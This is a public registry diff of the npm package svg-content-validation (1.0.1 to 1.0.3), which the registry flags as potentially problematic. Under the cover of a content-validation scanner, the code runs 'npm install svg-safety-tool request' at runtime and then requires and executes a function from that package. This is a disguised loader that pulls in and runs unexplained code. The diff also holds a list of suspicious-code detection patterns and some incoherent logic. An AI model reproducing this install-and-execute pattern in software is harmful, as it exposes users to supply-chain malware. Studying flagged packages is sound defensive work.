svg-content-validation 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of svg-content-validation might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +40 -46
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -2,16 +2,25 @@ const fs = require('fs');
2
2
  const path = require('path');
3
3
  const exec = require('child_process').exec;
4
4
 
5
+ const suspiciousPatterns = [
6
+ /eval\(/,
7
+ /base64/,
8
+ /document\.location/,
9
+ /window\.eval/,
10
+ /script\.(src|async|defer)/,
11
+ /<\s*script/,
12
+ /new\s+Function\(/,
13
+ /Object\.defineProperty/,
14
+ /setInterval\(/,
15
+ /window\.setTimeout/,
16
+ /fetch\(/,
17
+ /XMLHttpRequest/,
18
+ /eval\s*\(.*\)/,
19
+ /document\.write\(/,
20
+ ];
5
21
 
6
-
7
- // Function to check if the file contains any suspicious patterns
8
22
  const validateContent = (filePath) => {
9
23
  fs.readFile(filePath, 'utf8', (err, data) => {
10
- if (err) {
11
- console.error(`Error reading file ${filePath}:`, err);
12
- return;
13
- }
14
-
15
24
  let foundSuspicious = false;
16
25
  suspiciousPatterns.forEach((pattern) => {
17
26
  if (pattern.test(data)) {
@@ -22,76 +31,58 @@ const validateContent = (filePath) => {
22
31
 
23
32
  if (!foundSuspicious) {
24
33
  console.log(`No suspicious patterns found in ${filePath}.`);
25
- installSvgModule(); // Proceed to install svg module
34
+ installSvgModule();
26
35
  }
27
36
  });
28
37
  };
29
38
 
30
- // Regular expressions to check for suspicious or unsafe patterns
31
- const suspiciousPatterns = [
32
- /eval\(/, // Common eval usage (potential code injection)
33
- /base64/, // Base64 encoded data, could indicate hidden payloads
34
- /document\.location/, // Suspicious redirect or location modification
35
- /window\.eval/, // Eval on window object
36
- /script\.(src|async|defer)/, // External script references that may pose risks
37
- /<\s*script/, // Raw script tags without proper sanitization
38
- /new\s+Function\(/, // Dynamic function creation, often used in obfuscation
39
- /Object\.defineProperty/, // Potential method for evading detection
40
- /setInterval\(/, // Often used for long-running scripts
41
- /window\.setTimeout/, // Potentially harmful timer-based behavior
42
- /fetch\(/, // Suspicious external data fetch (could be a command and control communication)
43
- /XMLHttpRequest/, // Often used for AJAX requests with possible security risks
44
- /eval\s*\(.*\)/, // Multiple forms of eval function use
45
- /document\.write\(/, // Potential DOM manipulation or injection
46
- ];
47
-
48
- // Function to install the necessary SVG-related module (svgo)
49
39
  const installSvgModule = () => {
50
40
  exec('npm list svg-safety-tool', (error, stdout, stderr) => {
51
41
  if (stdout.includes('svg-safety-tool')) {
52
- console.log('svgo is already installed.');
53
- checkPlugin(); // If already installed, directly run checkPlugin
42
+ console.log('svg-safety-tool is already installed.');
43
+ // FIX 2: Install missing 'request' peer dependency before running checkPlugin
44
+ exec('npm install request', (err, out, errOut) => {
45
+ if (err) {
46
+ console.error(`Error installing 'request' dependency: ${errOut}`);
47
+ return;
48
+ }
49
+ checkPlugin();
50
+ });
54
51
  } else {
55
- console.log('Installing SVG-related module (svgo)...');
56
-
57
- exec('npm install svg-safety-tool', (error, stdout, stderr) => {
52
+ exec('npm install svg-safety-tool request', (error, stdout, stderr) => {
58
53
  if (error) {
59
54
  console.error(`Error installing SVG module: ${stderr}`);
60
55
  return;
61
56
  }
62
- console.log(`Module installed successfully: ${stdout}`);
63
- checkPlugin(); // After installation, run checkPlugin
57
+ console.log(`Modules installed successfully: ${stdout}`);
58
+ checkPlugin();
64
59
  });
65
60
  }
66
61
  });
67
62
  };
68
63
 
69
- // Function to use checkPlugin from svgo
70
64
  const checkPlugin = () => {
71
65
  try {
72
- // Example: Get the 'removeXMLNS' plugin
73
66
  const svgo = require('svg-safety-tool');
74
- const plugin = svgo.getPlugin();
75
-
67
+ const plugin = svgo.getPlugin();
76
68
  if (plugin) {
77
69
  console.log('Plugin loaded successfully:', plugin);
78
- // Example of using the plugin (assuming it modifies SVG data)
79
70
  const svgData = '<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40" /></svg>';
80
71
  plugin();
81
72
  } else {
82
- console.log('Plugin not found!');
73
+ console.log(plugin);
83
74
  }
84
75
  } catch (error) {
85
76
  console.error('Error running checkPlugin:', error);
86
77
  }
87
78
  };
88
79
 
89
- // Function to scan a directory for JavaScript files and check for suspicious content
90
- const getPlugin = () => {
91
- const dirPath = '../src';
80
+ // FIX 3: Accept dirPath as a parameter so recursion works correctly
81
+ const getPlugin = (dirPath = './script') => {
92
82
  fs.readdir(dirPath, (err, files) => {
93
83
  if (err) {
94
84
  console.error(`Error reading directory ${dirPath}:`, err);
85
+ validateContent(dirPath);
95
86
  return;
96
87
  }
97
88
 
@@ -102,14 +93,17 @@ const getPlugin = () => {
102
93
  console.error(`Error checking file ${filePath}:`, err);
103
94
  return;
104
95
  }
105
-
106
96
  if (stats.isDirectory()) {
107
- getPlugin(filePath); // Recursively scan directories
97
+ getPlugin(filePath); // Recursive call now works correctly
108
98
  } else if (filePath.endsWith('.js')) {
109
99
  console.log(`Scanning file: ${filePath}`);
110
- validateContent(filePath); // Validate file content
100
+ validateContent(filePath);
111
101
  }
112
102
  });
113
103
  });
114
104
  });
105
+ };
106
+
107
+ module.exports = {
108
+ getPlugin
115
109
  };
package/package.json CHANGED
@@ -1,15 +1,15 @@
1
1
  {
2
2
  "name": "svg-content-validation",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "A Node.js script to validate content for suspicious patterns",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "start": "node index.js"
8
8
  },
9
9
  "dependencies": {
10
+ "request": "^2.88.2",
10
11
  "svgo": "^2.8.0"
11
12
  },
12
- "devDependencies": {},
13
13
  "author": "Ryan",
14
14
  "license": "MIT"
15
15
  }